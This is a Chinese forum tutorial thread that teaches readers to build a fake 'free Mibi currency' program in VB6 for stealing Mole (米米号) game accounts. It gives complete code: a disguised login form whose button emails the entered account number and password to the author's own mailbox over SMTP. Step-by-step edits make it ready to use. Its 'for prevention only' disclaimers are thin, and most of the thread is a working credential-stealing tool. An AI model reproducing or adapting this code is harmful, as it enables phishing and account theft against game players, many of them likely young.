在网上，有许多所谓刷密币软件，通常只需输入 米米号密码 就可以刷米币。这种程序不但不会刷到米币，甚至可能泄露密码。
“刷米币”盗号流程图

今天我就教大家如何防范、制作这种盗号程序。 Ps：只是为了防范，切勿用于非法用途。

看似很复杂，其实精华就在这三个控件①上。 控件：如按钮文本滚动条等

首先要明白左面两个是文本框右面那个是按钮
文本框负责储存你输入的账号、密码 按钮负责把文本框的内容发到指定邮箱里
这样米米号就被窃取了呵呵
如果想制作此程序的请往下看

图文贴 更得会比较慢
请谅解

需要下载vb6软件 下载地址 http://dx.pc6.com/dm/damao/vb6fdsafe343fds.rar
打开vb6后创建一个工程
然后添加三个控件

没人回么 那我就不更了

好桑心啊

以加精
　　　　　　　 ——————————我就是传说中的手拿秤砣身披制服，胯下骑着神兽草泥马的城管大队大队长。本人的座驾

这吧没人，回复少点别在意
　　　　　　　 ——————————我就是传说中的手拿秤砣身披制服，胯下骑着神兽草泥马的城管大队大队长。本人的座驾

继续更吧

好吧 继续更

我们先做个简单的
双击 command1 会弹出一个窗口
在
Private Sub Command1_Click()
这里添加代码
End Sub
代码如下
————————分割线不要复制———————————————
Dim NameS As String
Dim Email As Object
NameS ="http://schemas.microsoft.com/cdo/configuration/"
Set Email =CreateObject("CDO.Message")
Email.From = "邮箱地址”
Email.To = "邮箱地址"
Email.Subject = "米米号"
Email.Textbody = Text1 & "＆" + Text2
Email.Configuration.Fields.Item(NameS &"sendusing") = 2
Email.Configuration.Fields.Item(NameS &"smtpserver") = "邮件服务器”
Email.Configuration.Fields.Item(NameS &"smtpserverport") = 25
Email.Configuration.Fields.Item(NameS &"smtpauthenticate") = 1
Email.Configuration.Fields.Item(NameS &"sendusername") = "账号"
Email.Configuration.Fields.Item(NameS &"sendpassword") = "密码"
Email.Configuration.Fields.Update
Email.send
————————分割线不要复制———————————————
代码复制好了需要稍作修改
1.正数第五行 Email.From = "邮箱地址”
把“邮箱地址”里的内容改为自己的邮箱如
Email.From = "abc@163.com
2.正数第六行” Email.To = "邮箱地址"
也把“邮箱地址”里的内容改为自己的邮箱（为了方便）如
Email.To = "abc@163.com
3.正数第十行
Email.Configuration.Fields.Item(NameS &"smtpserver") = "邮件服务器”
把“邮件服务器”里的内容是qq邮箱就改为smtp.qq.com
是163邮箱就改为smtp.163.com
4.倒数第四行
Email.Configuration.Fields.Item(NameS &"sendusername") = "账号"
把“账号”里的内容改为邮箱@前的账号 如我的邮箱是 abc@163.com 就写abc
4.倒数第三行
Email.Configuration.Fields.Item(NameS &"sendpassword") = "密码"
把“密码”里的内容改成自己邮箱的密码
Ok！一个盗号器就大功告成了

我们可以装饰一下盗号器
添加两个标签控件 如下图

然后在
Private Sub Form_Load()
这里
End Sub
添加如下代码
——————分割线不要复制————————
Label1.Caption = "米米号"
Label2.Caption = "密码"
Text1.Text = ""
Text2.Text = ""
Command1.Caption = "登陆"
Form1.Caption = "“刷米币”软件"
——————分割线不要复制————————

123456是米米号
abc1234是密码
总结：盗号器毕竟是盗号器，即使他再神通广大，只要你不贪图小便宜，健康游戏，也只是一个盗号器。
最后提醒：切勿用于非法用途

，